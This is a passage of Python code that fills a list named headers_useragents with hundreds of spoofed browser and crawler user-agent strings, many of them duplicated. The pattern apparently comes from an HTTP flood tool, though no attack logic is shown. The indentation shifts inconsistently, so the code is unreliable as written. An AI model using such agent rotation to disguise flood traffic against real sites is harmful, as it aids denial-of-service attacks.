  1803.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1804.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1805.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1806.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1807.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1808.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1809.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1810.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1811.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1812.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1813.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1814.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1815.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1816.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1817.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1818.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1819.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1820.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1821.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1822.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1823.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1824.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1825.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1826.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1827.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1828.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1829.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1830.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1831.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1832.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1833.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1834.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1835.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1836.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1837.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1838.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1839.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1840.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1841.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1842.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1843.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1844.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1845.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1846.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1847.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1848.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1849.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1850.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1851.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1852.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1853.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1854.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1855.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1856.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1857.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1858.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1859.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1860.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1861.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1862.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1863.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1864.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1865.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1866.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1867.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1868.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1869.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1870.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1871.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1872.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1873.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1874.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1875.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1876.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1877.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1878.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1879.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1880.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1881.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1882.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1883.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1884.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1885.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1886.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1887.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1888.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1889.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1890.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1891.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1892.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1893.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1894.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1895.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1896.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1897.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1898.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1899.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1900.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1901.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1902.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1903.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1904.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1905.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1906.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1907.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1908.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1909.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1910.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1911.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1912.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1913.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1914.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1915.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1916.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1917.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1918.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1919.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1920.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1921.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1922.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1923.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1924.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1925.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1926.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1927.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1928.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1929.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1930.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1931.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1932.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1933.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1934.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1935.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1936.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1937.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1938.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1939.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1940.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1941.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1942.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1943.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1944.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1945.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1946.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1947.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1948.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1949.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1950.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1951.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1952.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1953.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1954.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1955.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1956.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1957.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1958.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1959.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1960.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1961.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1962.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1963.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1964.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1965.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1966.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1967.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1968.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1969.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1970.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1971.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1972.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1973.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1974.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1975.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1976.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1977.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1978.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1979.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1980.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1981.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1982.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
